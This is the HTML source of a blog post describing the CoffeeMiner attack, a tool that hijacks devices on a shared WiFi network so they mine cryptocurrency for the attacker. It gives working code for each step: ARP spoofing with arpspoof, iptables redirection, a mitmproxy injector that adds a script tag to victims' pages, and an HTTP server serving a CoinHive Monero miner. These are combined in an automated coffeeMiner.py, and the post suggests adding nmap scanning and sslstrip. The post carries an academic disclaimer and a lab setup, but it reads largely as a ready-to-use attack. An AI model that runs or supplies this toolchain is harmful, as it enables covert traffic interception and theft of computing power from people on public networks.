arnaucube
arnaucube/arnaucube.comPublic Self-hosted repository
arnaucube.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html
blog/coffeeminer-hacking-wifi-cryptocurrency-miner.htmlRaw
  1<!DOCTYPE html>
  2<html lang="en">
  3
  4  <head>
  5    <meta name="description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker." />
  6    <meta charset="utf-8">
  7    <title> CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog</title>
  8    <meta name="title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog">
  9    <meta name="description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker.">
 10
 11    <meta property="og:title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog" />
 12    <meta property="og:description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker." />
 13    <meta property="og:url" content="https://arnaucube.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html" />
 14    <meta property="og:type" content="article" />
 15    <meta property="og:image" content="https://arnaucube.com/blog/img/posts/coffeeMiner/coffeeMiner-network-attack.png" />
 16    <meta name="twitter:title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog">
 17    <meta name="twitter:description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker.">
 18    <meta name="twitter:image" content="https://arnaucube.com/blog/img/posts/coffeeMiner/coffeeMiner-network-attack.png">
 19    <meta name="twitter:card" content="summary_large_image">
 20    <meta name="author" content="arnaucube">
 21
 22    <link rel="icon" type="image/png" href="img/logoArnauCubeFavicon.png">
 23
 24    <meta name="viewport" content="width=device-width, initial-scale=1">
 25
 26    <link href="css/bootstrap.min.css" rel="stylesheet">
 27    <link rel="stylesheet" href="css/style.css">
 28
 29    <!-- highlightjs -->
 30    <!-- <link rel="stylesheet" href="js/highlightjs/atom-one-dark.css"> -->
 31    <link rel="stylesheet" href="js/highlightjs/atom-one-light.css">
 32    <!-- <link rel="stylesheet" href="js/highlightjs/gruvbox-dark.css"> -->
 33    <script src="js/highlightjs/highlight.pack.js"></script>
 34
 35    <!-- katex -->
 36    <link rel="stylesheet" href="js/katex/katex.min.css">
 37  <link rel="alternate" type="application/rss+xml" title="arnaucube - blog RSS" href="https://arnaucube.com/blog/rss.xml">
 38</head>
 39
 40  <body>
 41
 42    <!-- o_gradient_background" -->
 43    <nav id="mainNav" class="navbar navbar-default navbar-fixed-top"
 44                      style="height:50px;font-size:100%;">
 45      <div class="container">
 46        <div style="float:left;">
 47        <a href="/blog" style="color:#000;display:inline-block;">blog</a>
 48        <span style="margin-right:20px; margin-left:20px;">|</span>
 49        <a href="/blog/notes.html" style="font-size:90%;color:#000;display:inline-block;">notes</a>
 50        </div>
 51        <div style="float:right;">
 52          <a href="/" style="color:#000;display:inline-block;margin-right:10px;">arnaucube.com</a>
 53          <a href="/blog/rss.xml" target="_blank"
 54            type="application/rss+xml" title="subscribe via RSS" aria-label="subscribe via RSS">
 55              <img width="12px;" src="img/rss.png" />
 56          </a>
 57          <div class="onoffswitch" style="margin-left:0px;display:inline-block;" title="change theme">
 58            <input onclick="switchTheme()" type="checkbox" name="onoffswitch" class="onoffswitch-checkbox"
 59              id="themeSwitcher">
 60            <label class="onoffswitch-label" for="themeSwitcher"></label>
 61          </div>
 62        </div>
 63      </div>
 64      <!-- <img style="height:5px; width:100%; margin-top:8px;" src="img/gradient-line.jpg" /> -->
 65    </nav>
 66
 67
 68    <div class="container" style="max-width:800px;">
 69        <br>
 70        <div style="background:#cccccc; border:2px gray solid; padding:5px; width:80%;margin-left:auto; margin-right:auto; margin-bottom:5px;">
 71          <i>Note: this blog is human-written, no AI generated content.</i>
 72        </div>
 73
 74      <h1>CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests</h1>
 75
 76<p><em>2018-01-04</em></p>
 77
 78<p><strong><em>Disclamer: this article &amp; project is for academic purposes only.</em></strong></p>
 79
 80<p>Some weeks ago I read about <a href="https://motherboard.vice.com/en_us/article/gyd5xq/starbucks-wi-fi-hijacked-peoples-laptops-to-mine-cryptocurrency-coinhive">this Starbucks case</a> where hackers hijacked laptops on the WiFi network to use the devices computing power to mine cryptocurrency, and I thought it might be interesting perform the attack in a different way.</p>
 81
 82<p>The goal of this article, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the devices connected to a WiFi network to be mining a cryptocurrency for the attacker.</p>
 83
 84<p><img src="img/posts/coffeeMiner/coffeeMiner-logo-small.png" alt="coffeeMiner" title="coffeeMiner" /></p>
 85
 86<p>The objective is to have a script that performs autonomous attack on the WiFi network. It&rsquo;s what we have called <strong>CoffeeMiner</strong>, as it&rsquo;s a kind of attack that can be performed in the cafes WiFi networks.</p>
 87
 88<h2>1. The Scenario</h2>
 89
 90<p>The scenario will be some machines connected to the WiFi network, and the CoffeeMiner attacker intercepting the traffic between the users and the router.</p>
 91
 92<p><img src="img/posts/coffeeMiner/coffeeMiner-network-attack.png" alt="network" title="network" /></p>
 93
 94<h3>1.1 Scenario configuration</h3>
 95
 96<p>The real scenario is a WiFi with laptops and smartphones connected. We have tested in this real world scenario, and it works. But for this article, we will see more deeply how to set up in a virtual environment.</p>
 97
 98<p>We will use VirtualBox to deploy our virtual scenario <a href="https://www.virtualbox.org/">https://www.virtualbox.org/</a> .</p>
 99
100<p>First of all we need to download some Linux disk image and install it into a VirtualBox machine, for this example we will use Kali Linux images <a href="https://www.kali.org/">https://www.kali.org/</a></p>
101
102<p>Once we have the ISO image downloaded, we prepare 3 VBox machines with the Linux image installed.</p>
103
104<p>To configure the defined scenario we need to prepare the machines each one with a role:</p>
105
106<ul>
107<li>Victim
108
109<ul>
110<li>will be the machine that connects to the Router and browse some pages.</li>
111</ul></li>
112<li>Attacker
113
114<ul>
115<li>will be the machine where it runs the CoffeeMiner. Is the machine that performs the MITM.</li>
116</ul></li>
117<li>Router / Gateway
118
119<ul>
120<li>will act as a normal gateway.</li>
121</ul></li>
122</ul>
123
124<p><img src="img/posts/coffeeMiner/scenario01.png" alt="network" title="network" /></p>
125
126<p>Once the attack is performed, the scenario will be:</p>
127
128<p><img src="img/posts/coffeeMiner/scenario02.png" alt="network" title="network" /></p>
129
130<p>To configure each one of the machines, we will do the following configuration:</p>
131
132<ul>
133<li>Victim
134
135<ul>
136<li>network adapter:
137
138<ul>
139<li>eth0: Host-only Adapter</li>
140</ul></li>
141<li>/etc/network/interfaces:</li>
142</ul></li>
143</ul>
144
145<pre><code class="language-bash">auto lo
146iface lo inet loopback
147
148auto eth0
149iface eth0 inet static
150    address 10.0.2.10
151    netmask 255.255.255.0
152    gateway 10.0.2.15
153</code></pre>
154
155<ul>
156<li>Attacker
157
158<ul>
159<li>network adapter:
160
161<ul>
162<li>eth0: Host-only Adapter</li>
163</ul></li>
164<li>/etc/network/interfaces:</li>
165</ul></li>
166</ul>
167
168<pre><code class="language-bash">auto lo
169iface lo inet loopback
170
171auto eth0
172iface eth0 inet static
173    address 10.0.2.20
174    netmask 255.255.255.0
175    gateway 10.0.2.15
176</code></pre>
177
178<ul>
179<li>Router / Gateway
180
181<ul>
182<li>network adapter:
183
184<ul>
185<li>eth0: Bridged Adapter</li>
186<li>eth1: Host-only Adapter</li>
187</ul></li>
188<li>/etc/network/interfaces:</li>
189</ul></li>
190</ul>
191
192<pre><code class="language-bash">auto lo
193iface lo inet loopback
194
195auto eth0
196iface eth0 inet dhcp
197
198auto eth1
199iface eth1 inet static
200    address 10.0.2.15
201    netmask 255.255.255.0
202</code></pre>
203
204<h2>2. CoffeeMiner, understanding the code</h2>
205
206<h3>2.1 ARPspoofing</h3>
207
208<p>First of all, we need to understand how the MITM attack is performed.</p>
209
210<p>From wikipedia:</p>
211
212<p><em>&ldquo;In computer networking, ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker&rsquo;s MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead.&rdquo;</em></p>
213
214<p><a href="https://en.wikipedia.org/wiki/ARP_spoofing">https://en.wikipedia.org/wiki/ARP_spoofing</a></p>
215
216<p>To perform the ARPspoofing attack, we will use the <strong>dsniff</strong> library.</p>
217
218<pre><code class="language-bash">arpspoof -i interface -t ipVictim ipGateway
219arpspoof -i interface -t ipGateway ipVictim
220</code></pre>
221
222<h3>2.2 mitmproxy</h3>
223
224<p><a href="https://mitmproxy.org/">mitmproxy</a> is a software tool that allows us to analyze the traffic that goes through a host, and allows to edit that traffic. In our case, we will use it to inject the javascript into the html pages.</p>
225
226<p>To make the process more more clean, we will only inject one line of code into the html pages. And will be that line of html code that will call to the javascript cryptocurrency miner.</p>
227
228<p>The line to inject the crypto miner is:</p>
229
230<pre><code class="language-html">&lt;script src=&quot;http://httpserverIP:8000/script.js&quot;&gt;&lt;/script&gt;
231</code></pre>
232
233<h3>2.3 Injector</h3>
234
235<p>Once we have the victim&rsquo;s traffic intercepted, we need to inject our script on it. We will use the mitmproxy API to do the injector:</p>
236
237<pre><code class="language-python">from bs4 import BeautifulSoup
238from mitmproxy import ctx, http
239import argparse
240
241class Injector:
242    def __init__(self, path):
243        self.path = path
244
245    def response(self, flow: http.HTTPFlow) -&gt; None:
246        if self.path:
247            html = BeautifulSoup(flow.response.content, &quot;html.parser&quot;)
248            print(self.path)
249            print(flow.response.headers[&quot;content-type&quot;])
250            if flow.response.headers[&quot;content-type&quot;] == 'text/html':
251                script = html.new_tag(
252                    &quot;script&quot;,
253                    src=self.path,
254                    type='application/javascript')
255                html.body.insert(0, script)
256                flow.response.content = str(html).encode(&quot;utf8&quot;)
257                print(&quot;Script injected.&quot;)
258
259def start():
260    parser = argparse.ArgumentParser()
261    parser.add_argument(&quot;path&quot;, type=str)
262    args = parser.parse_args()
263    return Injector(args.path)
264
265</code></pre>
266
267<h3>2.4 HTTP Server</h3>
268
269<p>As we have seen, the injector adds a line to the html, with a call to our javascript crypto miner. So, we need to have the script file deployed in a HTTP Server.</p>
270
271<p>In order to serve the javascript cryptocurrency miner, we will deploy a HTTP Server in the attacker machine. To do that, we will use the Python library &lsquo;http.server&rsquo;:</p>
272
273<pre><code class="language-python">#!/usr/bin/env python
274import http.server
275import socketserver
276import os
277
278PORT = 8000
279
280web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
281os.chdir(web_dir)
282
283Handler = http.server.SimpleHTTPRequestHandler
284httpd = socketserver.TCPServer((&quot;&quot;, PORT), Handler)
285print(&quot;serving at port&quot;, PORT)
286httpd.serve_forever()
287</code></pre>
288
289<p>The code above is a simple HTTP Server that will serve our crypto miner to the victims, when they require it.</p>
290
291<p>The javascript miner, will be placed in the /miner_script directory. In our case, we have used the <a href="https://coinhive.com/">CoinHive</a> javascript miner.</p>
292
293<h3>2.5 CoinHive crypto miner</h3>
294
295<p><a href="https://coinhive.com/">CoinHive</a> is a javascript miner for the <a href="https://coinmarketcap.com/es/currencies/monero/">Monero cryptocurrency</a> (XMR). It can be added to a website, and will use the user CPU power to calculate hashes with the Cryptonight PoW hash algorithm to mine Monero, based on <a href="https://cryptonote.org/">CryptoNote</a> protocol.</p>
296
297<p>CoinHive miner makes sense when user stays in a website for mid-long term sessions. So, for example, for a website where the users average session is arround 40 seconds, it doesn&rsquo;t make much sense.</p>
298
299<p>In our case, as we will inject the crypto miner in each one of the HTML pages that victims request, will have long term sessions to calculate hashes to mine Monero.</p>
300
301<p><img src="img/posts/coffeeMiner/coinhive-monero-logo.jpg" alt="CoinHive logo" title="CoinHive logo" /></p>
302
303<h2>3. CoffeeMiner, puting all together</h2>
304
305<p>The main objective is to tie all the previous concepts in one autonomous deployment. This will be the CoffeeMiner.</p>
306
307<p>The idea is to have the CoffeeMiner script that performs the ARPspoofing attack and set ups the mitmproxy to inject the CoinHive cryptominer into victims HTML pages.</p>
308
309<p>First of all, we need to configure the ip_forwarding and IPTABLES, in order to convert the attacker&rsquo;s machine into a proxy:</p>
310
311<pre><code class="language-bash">echo 1 &gt; /proc/sys/net/ipv4/ip_forward
312iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
313iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
314</code></pre>
315
316<p>To perform the ARPspoof for all the victims, we will prepare a &lsquo;victims.txt&rsquo; file with all the victim&rsquo;s IP.
317To read all the victims IPs, we prepare some Python lines, that will get the IPs (and also the gateway IP from the command line args), and performs the ARPspoof for each one of the victim&rsquo;s IP.</p>
318
319<pre><code class="language-python"># get gateway_ip
320gateway = sys.argv[1]
321print(&quot;gateway: &quot; + gateway)
322# get victims_ip
323victims = [line.rstrip('\n') for line in open(&quot;victims.txt&quot;)]
324print(&quot;victims:&quot;)
325print(victims)
326
327# run the arpspoof for each victim, each one in a new console
328for victim in victims:
329    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + victim + &quot; &quot; + gateway + &quot; &amp;&quot;)
330    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + gateway + &quot; &quot; + victim + &quot; &amp;&quot;)
331</code></pre>
332
333<p>Once we have the ARPspoofing performed, we just need to run the HTTP Server:</p>
334
335<pre><code class="language-bash">&gt; python3 httpServer.py
336</code></pre>
337
338<p>And now, we can run the mitmproxy with the injector.py:</p>
339
340<pre><code class="language-bash">&gt; mitmdump -s 'injector.py http://httpserverIP:8000/script.js'
341</code></pre>
342
343<h2>3.1 CoffeeMiner, final script</h2>
344
345<p>Now we put all the concepts explained above in the &lsquo;coffeeMiner.py&rsquo; script:</p>
346
347<pre><code class="language-python">import os
348import sys
349
350#get gateway_ip (router)
351gateway = sys.argv[1]
352print(&quot;gateway: &quot; + gateway)
353# get victims_ip
354victims = [line.rstrip('\n') for line in open(&quot;victims.txt&quot;)]
355print(&quot;victims:&quot;)
356print(victims)
357
358# configure routing (IPTABLES)
359os.system(&quot;echo 1 &gt; /proc/sys/net/ipv4/ip_forward&quot;)
360os.system(&quot;iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&quot;)
361os.system(&quot;iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080&quot;)
362os.system(&quot;iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080&quot;)
363
364
365# run the arpspoof for each victim, each one in a new console
366for victim in victims:
367    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + victim + &quot; &quot; + gateway + &quot; &amp;&quot;)
368    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + gateway + &quot; &quot; + victim + &quot; &amp;&quot;)
369
370# start the http server for serving the script.js, in a new console
371os.system(&quot;xterm -hold -e 'python3 httpServer.py' &amp;&quot;)
372
373# start the mitmproxy
374os.system(&quot;~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T&quot;)
375</code></pre>
376
377<p>And also in the &lsquo;injector.py&rsquo; script:</p>
378
379<pre><code class="language-python">from bs4 import BeautifulSoup
380from mitmproxy import ctx, http
381import argparse
382
383class Injector:
384    def __init__(self, path):
385        self.path = path
386
387    def response(self, flow: http.HTTPFlow) -&gt; None:
388        if self.path:
389            html = BeautifulSoup(flow.response.content, &quot;html.parser&quot;)
390            print(self.path)
391            print(flow.response.headers[&quot;content-type&quot;])
392            if flow.response.headers[&quot;content-type&quot;] == 'text/html':
393                print(flow.response.headers[&quot;content-type&quot;])
394                script = html.new_tag(
395                    &quot;script&quot;,
396                    src=self.path,
397                    type='application/javascript')
398                html.body.insert(0, script)
399                flow.response.content = str(html).encode(&quot;utf8&quot;)
400                print(&quot;Script injected.&quot;)
401
402def start():
403    parser = argparse.ArgumentParser()
404    parser.add_argument(&quot;path&quot;, type=str)
405    args = parser.parse_args()
406    return Injector(args.path)
407</code></pre>
408
409<p>And to execute, we just need to do:</p>
410
411<pre><code class="language-bash">&gt; python3 coffeeMiner.py RouterIP
412</code></pre>
413
414<h2>4. Demo</h2>
415
416<p>In order to do the demo, we set up the VirtualBox scenario explained above.</p>
417
418<p>If we want to perform the attack manually, we will need the following terminals:</p>
419
420<p><img src="img/posts/coffeeMiner/demo01.png" alt="demo" title="demo" /></p>
421
422<p>Then, once the ARPspoofing attack is done and the injector and the HTTP Server are ready, we can go to the victim&rsquo;s machine and browse to a website. The victim&rsquo;s traffic will go through the attacker machine, and will activate the injector:</p>
423
424<p><img src="img/posts/coffeeMiner/demo02.png" alt="demo" title="demo" /></p>
425
426<p>As a result, the html pages that the victim is viewing, will have the html lines of code that the attacker has been injected.</p>
427
428<p><img src="img/posts/coffeeMiner/coffeeMiner-demo-cutted.gif" alt="demo" title="demo" /></p>
429
430<h4>4.1 Demo video</h4>
431
432<p>In the following video, we can see the complete attack in the scenario, using the coffeeMiner.py script:</p>
433
434<ul>
435<li>VirtualBox demo:</li>
436</ul>
437
438<p><a href="https://www.youtube.com/watch?v=wmYJ6Z4LoCA"><img src="img/posts/coffeeMiner/demo-video.png" alt="video demo" /></a></p>
439
440<ul>
441<li>Real world WiFi network and laptops demo:</li>
442</ul>
443
444<p><a href="https://www.youtube.com/watch?v=-TnzGLUD0DU"><img src="img/posts/coffeeMiner/demo-realWiFi-video.png" alt="video demo" /></a></p>
445
446<h2>Conclusion</h2>
447
448<p>As we have seen, the attack can be easily performed, and also can be deployed to be an autonomous attack in a WiFi network.</p>
449
450<p>Another thing to have in mind, is that for a real world WiFi network, is better to perform the process with a powerful WiFi antenna, to reach better all the physical zone.</p>
451
452<p>Tha main objective was to perform the autonomous attack, but we still need to edit the victims.txt file with the IP addresses of the victims devices. For a further version, a possible feature could be adding an autonomous <a href="https://nmap.org/">Nmap</a> scan, to add the IPs detected to the CoffeeMiner victims list. Another further feature, could be adding <a href="https://moxie.org/software/sslstrip/">sslstrip</a>, to make sure the injection also in the websites that the user can request over HTTPS.</p>
453
454<p>The complete code is available in the github repo: <a href="https://github.com/arnaucube/coffeeMiner">https://github.com/arnaucube/coffeeMiner</a></p>
455
456<hr>
457
458<p><strong><em>Disclamer: this article &amp; project is for academic purposes only.</em></strong></p>
459
460<hr>
461
462<p><em>tags: python, cryptocurrency, miner, blockchain, mitm, wifi, javascript, hacking, html, cryptominer, python3</em></p>
463
464<hr>
465
466<h1>References in the press about this article</h1>
467
468<ul>
469<li><p>English</p>
470
471<ul>
472<li><a href="https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/">https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/</a></li>
473<li><a href="http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html">http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html</a></li>
474<li><a href="https://gbhackers.com/coffeeminer-hacking-wifi/">https://gbhackers.com/coffeeminer-hacking-wifi/</a></li>
475<li><a href="https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/">https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/</a></li>
476<li><a href="http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
477<li><a href="https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/">https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/</a></li>
478<li><a href="http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
479<li><a href="https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency">https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency</a></li>
480<li><a href="https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&amp;utm_medium=Sociallymap&amp;utm_campaign=Sociallymap">https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&amp;utm_medium=Sociallymap&amp;utm_campaign=Sociallymap</a></li>
481<li><a href="http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html">http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html</a></li>
482<li><a href="https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5">https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5</a></li>
483<li><a href="https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/">https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/</a></li>
484<li><a href="https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/">https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/</a></li>
485<li><a href="https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/">https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/</a></li>
486<li><a href="https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/">https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/</a></li>
487<li><a href="https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/">https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/</a></li>
488<li><a href="https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html">https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html</a></li>
489<li><a href="https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/">https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/</a></li>
490<li><a href="https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/">https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/</a></li>
491<li><a href="http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320">http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320</a></li>
492</ul></li>
493
494<li><p>Spanish</p>
495
496<ul>
497<li><a href="http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html">http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html</a></li>
498<li><a href="https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/">https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/</a></li>
499<li><a href="http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
500<li><a href="https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
501<li><a href="https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/">https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/</a></li>
502<li><a href="http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
503<li><a href="https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/">https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/</a></li>
504<li><a href="https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/">https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/</a></li>
505</ul></li>
506
507<li><p>Russian</p>
508
509<ul>
510<li><a href="https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/">https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/</a></li>
511<li><a href="https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty">https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty</a></li>
512<li><a href="https://xakep.ru/2018/01/10/coffeeminer/">https://xakep.ru/2018/01/10/coffeeminer/</a></li>
513</ul></li>
514
515<li><p>Italian</p>
516
517<ul>
518<li><a href="http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute">http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute</a></li>
519</ul></li>
520
521<li><p>Bulgarian</p>
522
523<ul>
524<li><a href="https://questona.com/coffeeminer-wifi/">https://questona.com/coffeeminer-wifi/</a></li>
525</ul></li>
526
527<li><p>Greek</p>
528
529<ul>
530<li><a href="https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/">https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/</a></li>
531</ul></li>
532
533<li><p>Turkish</p>
534
535<ul>
536<li><a href="http://blog.cyberage.com.tr/2018/01/10/coffeeminer/">http://blog.cyberage.com.tr/2018/01/10/coffeeminer/</a></li>
537</ul></li>
538
539<li><p>Dutch</p>
540
541<ul>
542<li><a href="https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/">https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/</a></li>
543</ul></li>
544
545<li><p>Chinese</p>
546
547<ul>
548<li><a href="http://www.4hou.com/wireless/9773.html">http://www.4hou.com/wireless/9773.html</a></li>
549<li><a href="https://www.ithome.com.tw/news/120449">https://www.ithome.com.tw/news/120449</a></li>
550</ul></li>
551</ul>
552
553<h4>Destacated tweets</h4>
554
555<ul>
556<li>@defcon <a href="https://twitter.com/defcon/status/949679959509012480">https://twitter.com/defcon/status/949679959509012480</a></li>
557<li>@x0rz <a href="https://twitter.com/x0rz/status/948865836609130496">https://twitter.com/x0rz/status/948865836609130496</a></li>
558<li>@avast_antivirus <a href="https://twitter.com/avast_antivirus/status/951835917815308288">https://twitter.com/avast_antivirus/status/951835917815308288</a></li>
559<li>@fullstackpython <a href="https://twitter.com/fullstackpython/status/949707681543213057">https://twitter.com/fullstackpython/status/949707681543213057</a></li>
560<li>@alienvault <a href="https://twitter.com/alienvault/status/950449599872929792">https://twitter.com/alienvault/status/950449599872929792</a></li>
561<li>@binitamshah <a href="https://twitter.com/binitamshah/status/951520444900818945">https://twitter.com/binitamshah/status/951520444900818945</a></li>
562<li>@_odisseus <a href="https://twitter.com/_odisseus/status/951052521967144960">https://twitter.com/_odisseus/status/951052521967144960</a></li>
563</ul>
564
565<p><img src="img/posts/coffeeMiner/tweets_small.png" alt="tweets" title="tweets" /></p>
566
567    </div>
568
569    <footer style="text-align:center; margin-top:100px;margin-bottom:50px;">
570      <div class="container">
571        <br>
572        <a href="/blog">Go to main</a>
573        <br><br>
574        <div class="row">
575          <ul class="list-inline">
576            <li><a href="https://twitter.com/arnaucube"
577                   style="color:gray;text-decoration:none;"
578                   target="_blank">twitter.com/arnaucube</a>
579            </li>
